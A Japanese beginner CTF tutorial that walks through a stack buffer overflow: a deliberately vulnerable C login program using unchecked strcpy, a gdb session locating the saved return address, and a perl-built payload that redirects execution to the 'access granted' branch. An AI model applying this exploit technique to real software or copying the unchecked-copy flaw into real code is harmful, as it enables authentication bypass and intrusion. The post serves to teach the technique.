はじめに
こんにちは!@flat-fieldです!
今回は,戻りアドレスを変更することによる攻撃手法についてご説明します.
読者対象
- CTFこれからやってみたいと思っている人
- CTF始めたけどよく分からないって人
- C言語の基礎知識がわかっている人
- 面白そうだから読んでみたいという人
攻撃対象プログラム
今回は以下のプログラムに攻撃を仕掛けます.
# include <stdio.h>
# include <stdlib.h>
# include <string.h>
int check_authentication(char *password) {
int auth_flag = 0;
char password_buffer[16];
char correct_password[256];
FILE *fp;
fp = fopen("password.txt", "r");
fgets(correct_password, 256, fp);
correct_password[strlen(correct_password)-1] = 0;
strcpy(password_buffer, password);
if(strcmp(password_buffer, correct_password) == 0)
auth_flag = 1;
return 0; // 絶対に認証が通らないようにする。
}
int main(int argc, char *argv[]) {
if(argc < 2) {
printf("使用方法: %s <パスワード>\n", argv[0]);
exit(0);
}
if(check_authentication(argv[1])) {
printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
printf(" アクセスを許可します。\n");
printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
} else {
printf("\nアクセスを拒否しました。\n");
}
}
認証機能プログラムなのですが,いくらパスワードを入力しても絶対に認証が通らないように設計されている,クソプログラムです.
「check_authenticationで必ず0が返されるから,アクセスを許可出来るわけないだろ!!!」と思った方に,「え!!アクセス許可されてしまう攻撃があるんだ...」と理解してもらうのが本記事の目的です.
早速このプログラムの動作を見ていきたいのですが,その前に関数が呼び出された時にスタックがどのような動作をしているのかを見てみましょう.
関数呼び出し時のスタック動作
main関数からcheck_authentication関数に制御が移るとき,スタックは次の動作を行います.
- check_authentication関数が終わった次に実行するアドレス (main関数への戻りアドレス)をスタックにpushする
- main関数のスタックベースポインタ(rbp)をpushする.
- check_authenticationの各局所変数をスタックに積む
図でかくとこんな感じになります.
ここでポイントなのは,password_bufferに大きなデータを格納すると,main関数への戻りアドレスを書き換えることができてしまう,ということです.
その部分について詳しく説明していきます.
デバッグして動作を確認する.
まずはコンパイルしてgdbデバッガを立ち上げます.
root@kali:~/Desktop/Hacking/mycode# gcc -g -o my_auth_overflow2 my_auth_overflow2.c
root@kali:~/Desktop/Hacking/mycode# gdb -q my_auth_overflow2
Reading symbols from my_auth_overflow2...done.
gdb-peda$
続いて,ブレークポイントを設定するために行番号付きプログラムを表示させ,28行目と15行目, 20行目にブレークポイントを設定します.
gdb-peda$ list 1
1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <string.h>
4
5 int check_authentication(char *password) {
6 int auth_flag = 0;
7 char password_buffer[16];
8 char correct_password[256];
9 FILE *fp;
10
gdb-peda$
11 fp = fopen("password.txt", "r");
12 fgets(correct_password, 256, fp);
13 correct_password[strlen(correct_password)-1] = 0;
14
15 strcpy(password_buffer, password);
16
17 if(strcmp(password_buffer, correct_password) == 0)
18 auth_flag = 1;
19
20 return 0; // 絶対に認証が通らないようにする。
gdb-peda$
21 }
22
23 int main(int argc, char *argv[]) {
24 if(argc < 2) {
25 printf("使用方法: %s <パスワード>\n", argv[0]);
26 exit(0);
27 }
28 if(check_authentication(argv[1])) {
29 printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
30 printf(" アクセスを許可します。\n");
gdb-peda$ break 28
Breakpoint 2 at 0x555555555280: file my_auth_overflow2.c, line 28.
gdb-peda$ break 15
Note: breakpoint 1 also set at pc 0x555555555208.
Breakpoint 3 at 0x555555555208: file my_auth_overflow2.c, line 15.
gdb-peda$ break 20
Breakpoint 4 at 0x55555555523f: file my_auth_overflow2.c, line 20.
ではプログラムを試しに走らせてみましょう.
gdb-peda$ run AAAA
Starting program: /root/Desktop/Hacking/mycode/my_auth_overflow2 AAAA
Breakpoint 2, main (argc=0x2, argv=0x7fffffffe1b8) at my_auth_overflow2.c:28
28 if(check_authentication(argv[1])) {
gdb-peda$
ここで,次にどのアセンブリ命令を実行しようとしているか確認しましょう.
gdb-peda$ disass main
Dump of assembler code for function main:
0x0000555555555246 <+0>: push rbp
0x0000555555555247 <+1>: mov rbp,rsp
0x000055555555524a <+4>: sub rsp,0x10
0x000055555555524e <+8>: mov DWORD PTR [rbp-0x4],edi
0x0000555555555251 <+11>: mov QWORD PTR [rbp-0x10],rsi
0x0000555555555255 <+15>: cmp DWORD PTR [rbp-0x4],0x1
0x0000555555555259 <+19>: jg 0x555555555280 <main+58>
0x000055555555525b <+21>: mov rax,QWORD PTR [rbp-0x10]
0x000055555555525f <+25>: mov rax,QWORD PTR [rax]
0x0000555555555262 <+28>: mov rsi,rax
0x0000555555555265 <+31>: lea rdi,[rip+0xdac] # 0x555555556018
0x000055555555526c <+38>: mov eax,0x0
0x0000555555555271 <+43>: call 0x555555555060 <printf@plt>
0x0000555555555276 <+48>: mov edi,0x0
0x000055555555527b <+53>: call 0x5555555550a0 <exit@plt>
=> 0x0000555555555280 <+58>: mov rax,QWORD PTR [rbp-0x10]
0x0000555555555284 <+62>: add rax,0x8
0x0000555555555288 <+66>: mov rax,QWORD PTR [rax]
0x000055555555528b <+69>: mov rdi,rax
0x000055555555528e <+72>: call 0x5555555551a5 <check_authentication>
0x0000555555555293 <+77>: test eax,eax
0x0000555555555295 <+79>: je 0x5555555552bd <main+119>
0x0000555555555297 <+81>: lea rdi,[rip+0xda0] # 0x55555555603e
0x000055555555529e <+88>: call 0x555555555040 <puts@plt>
0x00005555555552a3 <+93>: lea rdi,[rip+0xdb6] # 0x555555556060
0x00005555555552aa <+100>: call 0x555555555040 <puts@plt>
0x00005555555552af <+105>: lea rdi,[rip+0xdcf] # 0x555555556085
0x00005555555552b6 <+112>: call 0x555555555040 <puts@plt>
0x00005555555552bb <+117>: jmp 0x5555555552c9 <main+131>
0x00005555555552bd <+119>: lea rdi,[rip+0xde4] # 0x5555555560a8
0x00005555555552c4 <+126>: call 0x555555555040 <puts@plt>
0x00005555555552c9 <+131>: mov eax,0x0
0x00005555555552ce <+136>: leave
0x00005555555552cf <+137>: ret
End of assembler dump.
gdb-peda$
0x0000555555555280を次に実行することがわかりました.
check_authentication関数を実行するには,0x0000555555555280 ~ 0x000055555555528bまでのアセンブリ命令を実行して前処理を完了させ,実際に0x000055555555528eでcheck_authentication関数を実行します.
では,check_authentication関数を終えた後は,main関数のどのアセンブリ命令を実行して欲しいでしょうか?
もちろん,check_authentication関数を呼び出し元の次の命令(0x0000555555555293)ですね.
では本当に0x0000555555555293に戻りアドレスが設定されているか確認してみましょう.
gdb-peda$ n
Breakpoint 1, check_authentication (password=0x7fffffffe4fe "AAAA") at my_auth_overflow2.c:15
15 strcpy(password_buffer, password);
gdb-peda$ p &password_buffer
$1 = (char (*)[16]) 0x7fffffffe090
gdb-peda$ x/20xw &password_buffer
0x7fffffffe090: 0x00000000 0x00000000 0x5555531d 0x00005555
0x7fffffffe0a0: 0x55559260 0x00005555 0x00000000 0x00000000
0x7fffffffe0b0: 0xffffe0d0 0x00007fff 0x55555293 0x00005555
0x7fffffffe0c0: 0xffffe1b8 0x00007fff 0x00000000 0x00000002
0x7fffffffe0d0: 0x555552d0 0x00005555 0xf7e12b17 0x00007fff
上記では,n
コマンドによって28行目の次の命令を実行させ(つまりここでcheck_authentication関数に入る),
p &password_buffer
によってpassword_bufferのアドレスを表示させています.
main関数への戻りアドレスはpassword_buffer以降に格納されていますので, x/20xw &password_buffer
によって,password_bufferが格納されているアドレスから20ワード(20 x 4バイト)分を表示させてみます.すると,戻りアドレスらしきものが含まれていますね.
0x7fffffffe0b0: 0xffffe0d0 0x00007fff 0x55555293 0x00005555
リトルエンディアンで表示されているので分かりにくいですが, 3ワード目と4ワード目が戻りアドレスを表しています.
つまりこの部分を書き換えることによって,自由に制御場所を設定することができるのです!!
アクセス許可を出してみる
ここまでわかったので,実際にアクセス許可を出させる攻撃を仕掛けてみましょう.
もう一度アセンブリ命令をみてみましょう.
gdb-peda$ disass main
Dump of assembler code for function main:
0x0000555555555246 <+0>: push rbp
0x0000555555555247 <+1>: mov rbp,rsp
0x000055555555524a <+4>: sub rsp,0x10
0x000055555555524e <+8>: mov DWORD PTR [rbp-0x4],edi
0x0000555555555251 <+11>: mov QWORD PTR [rbp-0x10],rsi
0x0000555555555255 <+15>: cmp DWORD PTR [rbp-0x4],0x1
0x0000555555555259 <+19>: jg 0x555555555280 <main+58>
0x000055555555525b <+21>: mov rax,QWORD PTR [rbp-0x10]
0x000055555555525f <+25>: mov rax,QWORD PTR [rax]
0x0000555555555262 <+28>: mov rsi,rax
0x0000555555555265 <+31>: lea rdi,[rip+0xdac] # 0x555555556018
0x000055555555526c <+38>: mov eax,0x0
0x0000555555555271 <+43>: call 0x555555555060 <printf@plt>
0x0000555555555276 <+48>: mov edi,0x0
0x000055555555527b <+53>: call 0x5555555550a0 <exit@plt>
0x0000555555555280 <+58>: mov rax,QWORD PTR [rbp-0x10]
0x0000555555555284 <+62>: add rax,0x8
0x0000555555555288 <+66>: mov rax,QWORD PTR [rax]
0x000055555555528b <+69>: mov rdi,rax
0x000055555555528e <+72>: call 0x5555555551a5 <check_authentication>
0x0000555555555293 <+77>: test eax,eax
0x0000555555555295 <+79>: je 0x5555555552bd <main+119>
0x0000555555555297 <+81>: lea rdi,[rip+0xda0] # 0x55555555603e
0x000055555555529e <+88>: call 0x555555555040 <puts@plt>
0x00005555555552a3 <+93>: lea rdi,[rip+0xdb6] # 0x555555556060
0x00005555555552aa <+100>: call 0x555555555040 <puts@plt>
0x00005555555552af <+105>: lea rdi,[rip+0xdcf] # 0x555555556085
0x00005555555552b6 <+112>: call 0x555555555040 <puts@plt>
0x00005555555552bb <+117>: jmp 0x5555555552c9 <main+131>
0x00005555555552bd <+119>: lea rdi,[rip+0xde4] # 0x5555555560a8
0x00005555555552c4 <+126>: call 0x555555555040 <puts@plt>
0x00005555555552c9 <+131>: mov eax,0x0
0x00005555555552ce <+136>: leave
0x00005555555552cf <+137>: ret
End of assembler dump.
アクセス許可を表示する部分は,0x0000555555555297 ~ 0x00005555555552b6になっております.
したがって0x0000555555555297を戻りアドレスに設定すれば良さそうですね.
そのためには何をパスワードとして入力させれば良さそうでしょうか?
もう一度以下の命令をみてみましょう.
gdb-peda$ x/20xw &password_buffer
0x7fffffffe090: 0x00000000 0x00000000 0x5555531d 0x00005555
0x7fffffffe0a0: 0x55559260 0x00005555 0x00000000 0x00000000
0x7fffffffe0b0: 0xffffe0d0 0x00007fff 0x55555293 0x00005555
0x7fffffffe0c0: 0xffffe1b8 0x00007fff 0x00000000 0x00000002
0x7fffffffe0d0: 0x555552d0 0x00005555 0xf7e12b17 0x00007fff
password_bufferが格納されているアドレスから,11ワード目と12ワード目が戻りアドレスとなっております.したがって,10ワード目(40バイト分)はゴミデータを入れて,11ワード目以降は0x0000555555555297を入力できれば良さそうですね(リトルエンディアンで入力することに注意してください).
以下のコマンドを打ってみましょう.
gdb-peda$ run $(perl -e 'print "A"x40 . "\x97\x52\x55\x55\x55\x55"')
Breakpoint 2, main (argc=0x2, argv=0x7fffffffe198) at my_auth_overflow2.c:28
28 if(check_authentication(argv[1])) {
gdb-peda$ c
Breakpoint 1, check_authentication (password=0x7fffffffe4d4 'A' <repeats 15 times>...) at my_auth_overflow2.c:15
15 strcpy(password_buffer, password);
gdb-peda$ c
Breakpoint 4, check_authentication (password=0x7fffffffe4d4 'A' <repeats 15 times>...) at my_auth_overflow2.c:20
20 return 0; // 絶対に認証が通らないようにする。
gdb-peda$ c
Continuing.
-=-=-=-=-=-=-=-=-=-=-=-=-=-
アクセスを許可します。
-=-=-=-=-=-=-=-=-=-=-=-=-=-
Program received signal SIGBUS, Bus error.
main (argc=<error reading variable: Cannot access memory at address 0x414141414141413d>, argv=<error reading variable: Cannot access memory at address 0x4141414141414131>) at my_auth_overflow2.c:35
35 }
gdb-peda$
はい,アクセスが許可されましたね.
このようにスタックバッファーオーバフローを利用して戻りアドレスを書き換えることによって,
自由に制御位置を設定することができるのです!!!!!!
参考文献